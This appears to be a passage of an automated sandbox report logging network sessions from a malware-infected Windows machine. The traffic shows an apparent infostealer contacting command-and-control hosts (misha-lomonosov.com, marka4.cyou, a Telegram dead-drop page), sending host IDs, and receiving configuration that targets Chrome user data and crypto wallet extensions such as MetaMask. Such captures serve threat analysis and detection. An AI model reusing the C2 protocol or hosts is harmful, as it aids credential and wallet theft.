href="http://store.steampowered.com/account/cookiepreferences/" target="_blank">Cookies</a></span></span></div><div class="responsive_optin_link"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	50001	104.21.14.233	443	7524	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:40:00 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: misha-lomonosov.com
2025-01-12 16:40:00 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-12 16:40:01 UTC	1123	IN	HTTP/1.1 200 OK Date: Sun, 12 Jan 2025 16:40:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pfut2flcrsh3f25f6ricmg4421; expires=Thu, 08 May 2025 10:26:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uCX4nIHCSMhhv4Q0NH0peXGcte6CPBSAz4qal86VNm0P89oWgzFULqVqpPie6fnmLQOYdouzLMwMV5NU8QxcbGN632Kolj%2BkgZtlBBaY%2BtmhNFwvhF4mydo0EncJqhHGr44N51JH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900e95fc096b191e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1726&min_rtt=1679&rtt_var=663&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=910&delivery_rate=1739130&cwnd=238&unsent_bytes=0&cid=8e3f178f457ece72&ts=501&x=0"
2025-01-12 16:40:01 UTC	8	IN	Data Raw: 33 0d 0a 0a 6f 6b 0d 0a Data Ascii: 3ok
2025-01-12 16:40:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	50005	149.154.167.99	443	7736	C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:40:03 UTC	85	OUT	GET /no111p HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2025-01-12 16:40:03 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 12 Jan 2025 16:40:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12299 Connection: close Set-Cookie: stel_ssid=3ee0b2a8e9f8edf3ee_3509548860066499226; expires=Mon, 13 Jan 2025 16:40:03 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2025-01-12 16:40:03 UTC	12299	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6e 6f 31 31 31 70 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @no111p</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	50007	116.203.166.124	443	7736	C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:40:05 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: marka4.cyou Connection: Keep-Alive Cache-Control: no-cache
2025-01-12 16:40:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Jan 2025 16:40:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-12 16:40:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	50010	116.203.166.124	443	7736	C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:40:06 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----3e3wtr1no8glfu3wt0hl User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: marka4.cyou Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2025-01-12 16:40:06 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 33 65 33 77 74 72 31 6e 6f 38 67 6c 66 75 33 77 74 30 68 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 32 45 45 33 33 42 30 44 33 33 46 33 32 33 35 31 31 34 31 39 39 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 33 65 33 77 74 72 31 6e 6f 38 67 6c 66 75 33 77 74 30 68 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 30 66 30 38 35 31 62 31 66 38 31 35 37 38 38 61 34 66 34 31 37 65 34 36 36 64 39 62 37 30 30 0d 0a 2d 2d 2d 2d 2d 2d 33 65 33 77 74 72 31 6e 6f 38 67 6c 66 75 33 77 74 30 68 6c 2d 2d 0d Data Ascii: ------3e3wtr1no8glfu3wt0hlContent-Disposition: form-data; name="hwid"D2EE33B0D33F3235114199-a33c7340-61ca------3e3wtr1no8glfu3wt0hlContent-Disposition: form-data; name="build_id"30f0851b1f815788a4f417e466d9b700------3e3wtr1no8glfu3wt0hl--
2025-01-12 16:40:07 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Jan 2025 16:40:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-12 16:40:07 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 33 62 65 65 31 36 61 38 32 62 62 61 65 30 64 30 35 61 63 37 31 65 61 39 65 33 33 31 38 63 64 64 7c 31 7c 30 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|3bee16a82bbae0d05ac71ea9e3318cdd\|1\|0\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	50013	116.203.166.124	443	7736	C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:40:08 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----cbsjw4oz5fcjm7gvaaaa User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: marka4.cyou Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2025-01-12 16:40:08 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 63 62 73 6a 77 34 6f 7a 35 66 63 6a 6d 37 67 76 61 61 61 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 62 65 65 31 36 61 38 32 62 62 61 65 30 64 30 35 61 63 37 31 65 61 39 65 33 33 31 38 63 64 64 0d 0a 2d 2d 2d 2d 2d 2d 63 62 73 6a 77 34 6f 7a 35 66 63 6a 6d 37 67 76 61 61 61 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 30 66 30 38 35 31 62 31 66 38 31 35 37 38 38 61 34 66 34 31 37 65 34 36 36 64 39 62 37 30 30 0d 0a 2d 2d 2d 2d 2d 2d 63 62 73 6a 77 34 6f 7a 35 66 63 6a 6d 37 67 76 61 61 61 61 0d 0a 43 6f 6e 74 Data Ascii: ------cbsjw4oz5fcjm7gvaaaaContent-Disposition: form-data; name="token"3bee16a82bbae0d05ac71ea9e3318cdd------cbsjw4oz5fcjm7gvaaaaContent-Disposition: form-data; name="build_id"30f0851b1f815788a4f417e466d9b700------cbsjw4oz5fcjm7gvaaaaCont
2025-01-12 16:40:08 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Jan 2025 16:40:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-12 16:40:08 UTC	2192	IN	Data Raw: 38 38 34 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4d 36 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 6c 54 45 39 44 51 55 78 42 55 46 42 45 51 56 52 42 4a 56 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 Data Ascii: 884R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEM6XFByb2dyYW0gRmlsZXNcR29vZ2xlXENocm9tZVxBcHBsaWNhdGlvblx8Y2hyb21lLmV4ZXxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXwlTE9DQUxBUFBEQVRBJVxHb29nbGVcQ2hyb21lIF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	50015	116.203.166.124	443	7736	C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:40:09 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----2n7glxt2db1dje379hdj User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: marka4.cyou Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2025-01-12 16:40:09 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 6e 37 67 6c 78 74 32 64 62 31 64 6a 65 33 37 39 68 64 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 62 65 65 31 36 61 38 32 62 62 61 65 30 64 30 35 61 63 37 31 65 61 39 65 33 33 31 38 63 64 64 0d 0a 2d 2d 2d 2d 2d 2d 32 6e 37 67 6c 78 74 32 64 62 31 64 6a 65 33 37 39 68 64 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 30 66 30 38 35 31 62 31 66 38 31 35 37 38 38 61 34 66 34 31 37 65 34 36 36 64 39 62 37 30 30 0d 0a 2d 2d 2d 2d 2d 2d 32 6e 37 67 6c 78 74 32 64 62 31 64 6a 65 33 37 39 68 64 6a 0d 0a 43 6f 6e 74 Data Ascii: ------2n7glxt2db1dje379hdjContent-Disposition: form-data; name="token"3bee16a82bbae0d05ac71ea9e3318cdd------2n7glxt2db1dje379hdjContent-Disposition: form-data; name="build_id"30f0851b1f815788a4f417e466d9b700------2n7glxt2db1dje379hdjCont
2025-01-12 16:40:10 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Jan 2025 16:40:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-12 16:40:10 UTC	5837	IN	Data Raw: 31 36 63 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 16c0TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	50019	116.203.166.124	443	7736	C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:40:11 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----bs0r9zukxln7qqiecb16 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: marka4.cyou Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2025-01-12 16:40:11 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 62 73 30 72 39 7a 75 6b 78 6c 6e 37 71 71 69 65 63 62 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 62 65 65 31 36 61 38 32 62 62 61 65 30 64 30 35 61 63 37 31 65 61 39 65 33 33 31 38 63 64 64 0d 0a 2d 2d 2d 2d 2d 2d 62 73 30 72 39 7a 75 6b 78 6c 6e 37 71 71 69 65 63 62 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 30 66 30 38 35 31 62 31 66 38 31 35 37 38 38 61 34 66 34 31 37 65 34 36 36 64 39 62 37 30 30 0d 0a 2d 2d 2d 2d 2d 2d 62 73 30 72 39 7a 75 6b 78 6c 6e 37 71 71 69 65 63 62 31 36 0d 0a 43 6f 6e 74 Data Ascii: ------bs0r9zukxln7qqiecb16Content-Disposition: form-data; name="token"3bee16a82bbae0d05ac71ea9e3318cdd------bs0r9zukxln7qqiecb16Content-Disposition: form-data; name="build_id"30f0851b1f815788a4f417e466d9b700------bs0r9zukxln7qqiecb16Cont
2025-01-12 16:40:12 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Jan 2025 16:40:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-12 16:40:12 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	50021	116.203.166.124	443	7736	C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:40:13 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----u3wl6p8ymym7qi589r9z User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: marka4.cyou Content-Length: 7461 Connection: Keep-Alive Cache-Control: no-cache
2025-01-12 16:40:13 UTC	7461	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 75 33 77 6c 36 70 38 79 6d 79 6d 37 71 69 35 38 39 72 39 7a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 62 65 65 31 36 61 38 32 62 62 61 65 30 64 30 35 61 63 37 31 65 61 39 65 33 33 31 38 63 64 64 0d 0a 2d 2d 2d 2d 2d 2d 75 33 77 6c 36 70 38 79 6d 79 6d 37 71 69 35 38 39 72 39 7a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 30 66 30 38 35 31 62 31 66 38 31 35 37 38 38 61 34 66 34 31 37 65 34 36 36 64 39 62 37 30 30 0d 0a 2d 2d 2d 2d 2d 2d 75 33 77 6c 36 70 38 79 6d 79 6d 37 71 69 35 38 39 72 39 7a 0d 0a 43 6f 6e 74 Data Ascii: ------u3wl6p8ymym7qi589r9zContent-Disposition: form-data; name="token"3bee16a82bbae0d05ac71ea9e3318cdd------u3wl6p8ymym7qi589r9zContent-Disposition: form-data; name="build_id"30f0851b1f815788a4f417e466d9b700------u3wl6p8ymym7qi589r9zCont
2025-01-12 16:40:14 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Jan 2025 16:40:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-12 16:40:14 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	50022	116.203.166.124	443	7736	C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:40:14 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----eknyus2nop8yuai5pzct User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: marka4.cyou Content-Length: 489 Connection: Keep-Alive Cache-Control: no-cache
2025-01-12 16:40:14 UTC	489	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 6b 6e 79 75 73 32 6e 6f 70 38 79 75 61 69 35 70 7a 63 74 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 62 65 65 31 36 61 38 32 62 62 61 65 30 64 30 35 61 63 37 31 65 61 39 65 33 33 31 38 63 64 64 0d 0a 2d 2d 2d 2d 2d 2d 65 6b 6e 79 75 73 32 6e 6f 70 38 79 75 61 69 35 70 7a 63 74 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 30 66 30 38 35 31 62 31 66 38 31 35 37 38 38 61 34 66 34 31 37 65 34 36 36 64 39 62 37 30 30 0d 0a 2d 2d 2d 2d 2d 2d 65 6b 6e 79 75 73 32 6e 6f 70 38 79 75 61 69 35 70 7a 63 74 0d 0a 43 6f 6e 74 Data Ascii: ------eknyus2nop8yuai5pzctContent-Disposition: form-data; name="token"3bee16a82bbae0d05ac71ea9e3318cdd------eknyus2nop8yuai5pzctContent-Disposition: form-data; name="build_id"30f0851b1f815788a4f417e466d9b700------eknyus2nop8yuai5pzctCont
2025-01-12 16:40:15 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Jan 2025 16:40:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-12 16:40:15 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	50025	172.217.16.196	443	1968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:40:19 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 16:40:19 UTC	1266	IN	HTTP/1.1 200 OK Date: Sun, 12 Jan 2025 16:40:19 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-rmp57qut-Xc8mwCI3JI_3A' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-12 16:40:19 UTC	124	IN	Data Raw: 31 30 30 63 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6d 65 78 69 63 6f 20 65 61 72 74 68 71 75 61 6b 65 20 74 6f 64 61 79 22 2c 22 61 74 6c 61 73 20 63 6f 6d 65 74 20 32 30 32 34 20 67 33 22 2c 22 62 6c 75 65 20 6f 72 69 67 69 6e 20 6e 65 77 20 67 6c 65 6e 6e 20 72 6f 63 6b 65 74 20 6c 61 75 6e 63 68 22 2c 22 70 61 6e 74 65 72 61 20 64 65 6e 20 6f 66 20 74 68 69 65 76 65 Data Ascii: 100c)]}'["",["mexico earthquake today","atlas comet 2024 g3","blue origin new glenn rocket launch","pantera den of thieve
2025-01-12 16:40:19 UTC	1390	IN	Data Raw: 73 22 2c 22 6e 62 61 20 62 61 73 6b 65 74 62 61 6c 6c 22 2c 22 67 74 61 20 36 20 72 6f 63 6b 73 74 61 72 20 67 61 6d 65 73 22 2c 22 77 69 6e 74 65 72 20 73 74 6f 72 6d 20 63 6f 72 61 20 73 6e 6f 77 66 61 6c 6c 20 74 6f 74 61 6c 73 22 2c 22 62 69 74 63 6f 69 6e 20 68 61 72 64 20 64 72 69 76 65 20 6c 61 6e 64 66 69 6c 6c 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 Data Ascii: s","nba basketball","gta 6 rockstar games","winter storm cora snowfall totals","bitcoin hard drive landfill"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","goog
